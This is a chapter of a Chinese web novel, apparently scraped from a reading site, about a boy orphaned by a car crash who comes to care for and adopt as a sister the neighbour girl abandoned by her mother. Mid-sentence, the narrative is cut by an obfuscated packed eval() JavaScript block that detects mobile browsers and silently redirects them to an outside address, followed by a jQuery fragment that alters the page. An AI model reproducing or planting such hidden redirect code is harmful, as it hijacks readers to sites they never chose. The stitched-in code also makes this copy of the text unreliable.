塞玛市的夜还没进入尾声，黎宴渐渐酣梦。同一屋檐下，柏闻却像被无形的手强行拽出现实，直坠入昏茫冰冷的海底，呼吸越发滞重，一夜不得好眠。
他梦见五岁那年的春节，父母在返乡途中被一辆疲劳驾驶的大货车追尾。
剧烈撞击爆开的刹那，整个世界骤然颠倒翻滚。他没有立刻感觉到痛，身体被一股温暖的巨力死死护住。余音散尽后，四周只剩绝对的死寂。
他从眩晕中艰难睁眼，几秒后，温热的，带着腥气的液体，一滴，两滴，落在他脸上。
不知过了多久，外面传来奔跑与叫喊，他被卡在严重变形的后座，喉咙里挤不出一丝声音。透过碎裂的车窗玻璃，他模糊地看见一片闪烁的红蓝光，尖锐的鸣笛声呼啸着撕开了夜晚。
被救出来时，他也奄奄一息，视线被黏稠的血糊住，有他自己的，更多的来自于母亲。被抬上担架时，他没看见父母的身影。他们被警笛与人群包围，被压在前方的黑暗与钢铁废墟里。
他从小就智力过人，记事极早也尤其清楚。以至于盘踞在那个夜晚里的汽油味，血腥味，还有那场深冬弥漫的大雾，成了他多年来午夜梦回的常客。
父母出事后，爷爷奶奶连夜从乡下赶来。躺在病床上的那段时间，柏闻听到最多的话是“节哀”。其次就是爷爷奶奶的侄子外甥，那些被他叫做堂叔堂伯的人，在葬礼后接二连三跑到家里来，打着晚辈尽孝的名义，嗓门很大地说要帮忙保管他父母留下的那笔大额赔偿金，怕老人被骗。
爷爷脾气硬，抄起扫帚将他们轰了出去。奶奶抱着他哭，整日整夜地哭。
可柏闻没哭。
他记得母亲的血流满他整张脸是什么感觉，恍惚觉得那就是他的眼泪，血流干了，自然就没有泪了。
于是，街坊邻里的小孩开始疏远他，叫他“怪物”。一个连亲生父母死了，都不肯掉半滴泪的怪物。
后来，父母的照片被框上黑边，高高摆在家里的客厅。爷爷让他去上香，柏闻一动不动站在那，看了很久才缓缓意识到。
原来他们真的回不来了。
从那以后，他心里就像破了个洞，总有风呼呼地往里灌。五岁的他不知道那叫痛，只觉得很空，觉得很冷。
七岁前的那两年，他经常坐在自家院子的门槛上，看着巷子里其他孩子追逐打闹。他没兴致参与，只是看着，觉得那些尖叫和笑声离自己很远，仿佛他还留在那场冬夜的大雾里。已经很久没有孩子和他一起玩了，没人会和一个怪物做朋友，更何况这个怪物对他们也不感兴趣。
直到隔壁搬来一对母女。
那女人年轻漂亮，眉眼神似电视机里的仙女。身边跟着的小女孩大概两三岁，眼睛很亮很大，总躲在大人腿后偷瞄他。有天中午，他听见那女人扯着嗓门喊：“黎宴，回来吃饭！”
他读过很多书，宴者，安乐从容，温暖欢庆，是个好名字。
因为是新面孔，所以无聊的时候，柏闻也会观察她们。发现黎宴和她那个总是行色匆匆，打扮亮眼的妈妈不一样。她很安静，也很乖。只是她妈妈好像不太会照顾孩子，至少和父母照顾他的方式不同。
她妈妈经常出门，动不动就把她一个人锁在家里。她没什么玩伴，导致有时候说话不太利索，经常一个人坐在家门口的小板凳上，手里拿着几样破玩具，小声哼着歌，调子歪七八扭，词也含糊不清。
柏闻记得很清楚，那是盛夏初的一个午后，阳光晒得石板路发烫，树上的蝉也聒噪得要命。
他照旧坐在门槛上发呆，心里空落落的。那种在父母离世后便如影随行的冷，再次涌了上来，哪怕他的身体正被太阳烤着。
这时，他看见隔壁家的妹妹，摇摇晃晃地从她家门槛里迈出来，手里攥着半个被咬得坑坑洼洼的青梅。
柏闻一看就知道那是从哪儿来的，他出生那年，作为礼物，母亲在院里手植了一棵青梅树，需要静待几年漫长的成长期。他还记得母亲曾说，到今年七月，它就该第一次结果了。
如今七月已至，母亲却不在人世，家里没人爱吃这玩意儿。估计是在枝头上熟透了掉到院外，被她捡着了。
他静静看着黎宴挪动小碎步，最后停在他家院子的那圈矮篱笆边。她眨着一双黑白分明的大眼睛，透过狭窄的缝隙看他。
之后就再也没移开过眼。
柏闻也看着她，准确来说，是又在观察她。这两年他几乎不怎么开口说话，习惯了大人们用同情或唏嘘的目光看他，有时连爷爷奶奶也不例外。他知道从年龄上讲，自己也是个小孩子。可眼前这个比他还小的小不点，眼神却很纯粹，就是单纯地看。
然后做了一件让他始料未及的事。
她努力把拿着青梅的小手从篱笆缝里挤过来，却又因为没什么力气，青梅啪嗒一声掉在地上，滚到了他的脚边。
她愣住了，毕竟表情就很明显。她看着空了的掌心，又看看地上的青梅，小小的嘴巴一瘪，一副马上要哭的样子。
柏闻没帮她捡，心里甚至无端地冒出一丝恶劣的念头，想看看她到底会不会哭。既然他是不会哭的怪物，不知道看别人哭是什么感觉。
没想到黎宴没哭，反而指着那颗青梅，对他发出几个含糊不清的音节。
“哥哥……吃。”
这次换柏闻愣住了。
哥哥？
她在叫谁？自己吗？
她似乎从来不和外人讲话，她搬来后的这段时间，他只听过她叫妈妈。
可那直勾勾的眼神分明是向着自己的，柏闻低下头，看着脚边那颗沾了灰，还留着她半截牙印的青梅。它很小，很普通，而且不干净。
盛夏青梅，人间滋味。
这是母亲以前说过的话，他没由来地想起。在这个寂静得只剩下蝉鸣的午后，这颗小青梅和篱笆边那个眼睛亮晶晶地叫他哥哥，努力想把这滋味分享给他的小不点，让他久违地有了一丝兴味。
他捡起青梅，擦了擦，走到篱笆边。她立刻踮起脚尖，眼巴巴地看他。
“给我的？”他太久不说话，一开口竟然有些生涩。他在向她确认，担心她也是因为说话不利落，而让自己会错了意。
谁知她用力点头，指着青梅重复：“甜……”
柏闻看着这颗青梅，在她的反复推荐下，忽然很想尝一口。于是，就在那个小小的牙印旁，他轻轻咬了下去。
好酸。
他瞬间皱紧了眉，用一种古怪的眼神打量她。他不觉得她是恶劣的小骗子，这颗青梅她刚才啃过，而且啃得很开心，难道她是没吃过好东西吗？
黎宴看见他的表情，同样疑惑地皱起小脸，仿佛自己也尝到了酸味似的。可很快，她又舒展眉头，朝他使劲摇头，声音更加响亮。
“甜的！”
她依然坚持，口齿竟清晰了不少。
柏闻没说话，只是更加确信她没吃过什么真正的好东西，一时觉得有些可怜。他想说他家里其实有很多，他可以去——
就在这时，黎宴忽然把手伸进篱笆缝，整个人努力地往里挤，想去够他手里的青梅。连着失败几次后，她退开一小步，伸出两只短短的胳膊，用力扒住粗糙的篱笆，同时笨拙地抬起脚，竟想直接翻过来。
篱笆不高，但对于一个三岁的孩子来说，依然是巨大的障碍。她越扒越较劲，短短几十秒内，柏闻就从她脸上看到委屈，急切，愤怒等好几种表情。
他这几年没什么喜怒哀乐，不懂一个小不点的脸上怎么能有这么丰富的情绪。但他知道她不是想爬过来玩，她的目光始终在他……不，应该是在他手里那颗青梅上。她翻篱笆的动作生疏又吃力，小脸憋得通红。都这样了，嘴里还念念有词。
“哥哥……甜……是好的……给哥哥……”
不连贯的词语凑成了句子，这一刻，柏闻的视线像是被按下快门，画面定格了。
燥热的阳光，嘶哑的蝉鸣，周围所有声音和光线，仿佛都退到了很远的地方。他的视野中心，只剩下那个用尽全力想要翻越障碍，只为向一个她并不熟悉，只是住在隔壁的，沉默古怪的哥哥，证明它是一颗甜青梅的小身影。
她那么认真，那么急切，仅仅是为了把她认为美好的东西，毫不犹豫地塞进他荒芜的世界。
酸劲儿过后，好像真的有那么一丝丝回甘。
在黎宴的小脚终于勾到篱笆顶，身体摇晃着快要摔下去的刹那，柏闻鬼使神差地上前，伸出手臂接住了她。
“别摔了。”他依旧不习惯听见自己的声音，抱着她的动作却小心而稳。
黎宴借他的力，终于把另一只脚也挪了过来，整个人气喘吁吁地从他怀里跳下，叉腰站在他家院子里。她仰起汗湿的小脸，眼睛亮亮的，一把抓住他的手腕，将那颗青梅拉到自己嘴边，啊呜就是一口。
“看！甜的！”
她露出一排白牙，理直气壮地朝他笑。柏闻看着她被酸得眯起，却还使劲睁大的眼睛，看着她汗津津的额发，又看向在那颗小小的果实上，深深交错的两个牙印。
青梅甜不甜，其实没有任何意义。
他们的影子在树荫下交叠，头顶是母亲种下的那颗青梅树。母亲说过，今天的七月，将会迎来它的第一次结果。
他想，母亲是对的。
如果说人的一生是由很多个瞬间组
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079919|193952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成的，那么在这个瞬间，另一缕带着青梅酸涩气息的微风，正顺着他心里的那个洞吹了进来。
那天以后，柏闻依然常坐在家门槛上。大多时候，他都能看见黎宴独自坐在不远处玩。只是经过那次小小的交集，她对他更不设防。她几乎不跟巷子里其他孩子玩，只愿意搭理他。每当看见他了，便抬起头脆生生地喊一句哥哥。不论是啃了一半的果子，还是起了毛边的玩偶，只要他扫过一眼，她都愿意主动走来，分享给他。
渐渐的，柏闻觉得，这条小巷子因为有她坐在那儿，似乎也没那么空旷无聊了。
偶尔，他也会路过她家门口，放下一把爷爷奶奶买的糖，或是放学路上在小卖部买的玩具。有时甚至只是一朵他在路边捡到的，形状特别的小花。放下后便跑开，像是一种只属于他的神秘仪式，不想被她发现。
其实他也不明白自己为什么要这样做，也许只是因为，他想看看她下一次笑起来会是什么样子。又或许是因为，他会经常想起她初次将美好分享给自己的那个下午。更不为人知的，是他悄悄在等，希望心里那缕奇异的风能吹得再猛烈一些。
他怀着隐秘的期待，从夏天等到了冬天，却等到爷爷奶奶告诉他噩耗，黎宴的妈妈跑了。
他早该察觉的，他曾几次在放学时撞见过那个女人。她靠着巷口的电线杆打电话，表情满是焦躁和不耐，嗓音却刻意压得软嗲。
“……我知道，你就帮帮我嘛，你知道的，我条件这么好，不该是这样的命……”
那时他七岁，跳级上了三年级，听得懂大人们传出的风言风语。从他父母离世后，这条巷子久违地热议起新的八卦。他感到无比厌烦，人就是这样，说出口的每一句话都像刀子，不割在自己身上永远不知道痛。
社区的工作人员来了好几趟，他透过窗户，看见那个小小的身影坚持要回家，固执地坐在门口，从天亮等到天黑。
奶奶在家里骂了她妈妈几回，也抹了几次眼泪，想收养她但顾虑很多。爷爷抽着烟叹气，一时也没法拿主意。
某个下雪天的黄昏，柏闻放学回来，看见黎宴又一次孤零零地坐在夕阳里，攥着她妈妈留下的旧围巾，像一只被遗弃在路边的幼猫。
他走过去，在她面前蹲下。她的小脸冻得通红，眼睛里全是茫然和害怕。他很熟悉这些情绪，在父母车祸的那个晚上，从碎裂的后视镜里，他曾看见一模一样的表情出现在自己脸上，然后是大颗大颗的眼泪。
他想起来了，他不是不会哭。那一夜，他的泪和母亲的血混在一起，伤口疼得撕裂，血和泪一起流得他几近休克。
想到这，他心里那个破洞又开始灌冷风。但这一次，风里夹杂着一种前所未有的冲动。
他不能让黎宴也变成这样，不能让她心里也有个填不满的洞。
“菩萨太忙了，我要她就行。”
当年他将这句话脱口而出，但他是认真的，并决定要为此负责。
他把自己的围巾解下来给她，打了一个被她嫌弃的，据说很丑的蝴蝶结。牵着她回家的那一刻，他感觉自己握住的不仅是一只小手，还有一份必须由他扛起的沉甸甸的未来。
我要当哥哥了。
这个念头萌芽的一瞬间，柏闻不由得挺直了脊背。他发誓要当一个可靠的哥哥，让她不再害怕，不再被抛弃，这一生都不会有体验他那种经历的时刻。
黎宴刚来家里那段时间，夜里总做噩梦，哭醒后找的第一个人永远是他。暴雨夜里，她缩在他怀中，眼泪滚烫地问。
“哥哥，你会不会也不要我？”
窗外雷雨呼啸，柏闻看着她恐惧的眼睛，仿佛看到了父母刚去世时的自己。但这一次，他不再是那个不知所措的孩子。
就像母亲用生命保护了他，他也要保护好妹妹。
他从床上坐起来，一字一句都很有力气，让自己看上去像个大人。
“我，柏闻，永远不会不要黎宴。”
“这是男子汉的承诺。”
他许下了人生中第一个，也是最重要的一个承诺。那一夜他几乎没怎么睡，反复想着“男子汉”三个字。从今往后，它不再是热血动漫里鼓舞少年的台词，而是需要他用一生去践行的准则。
此后的漫长岁月里，黎宴越发信任他，依赖他。而他也从她的依赖里，找到了前所未有的重量与价值。所有与她共度的时光，那些琐碎无比的小事，一点一点，填满了五岁时他心里留下的洞。
原来被人需要是这种感觉。
原来母亲当年保护他，存的是这样的信念。
原来他也会心甘情愿弯下腰，成为另一个人的垫脚石和避风港。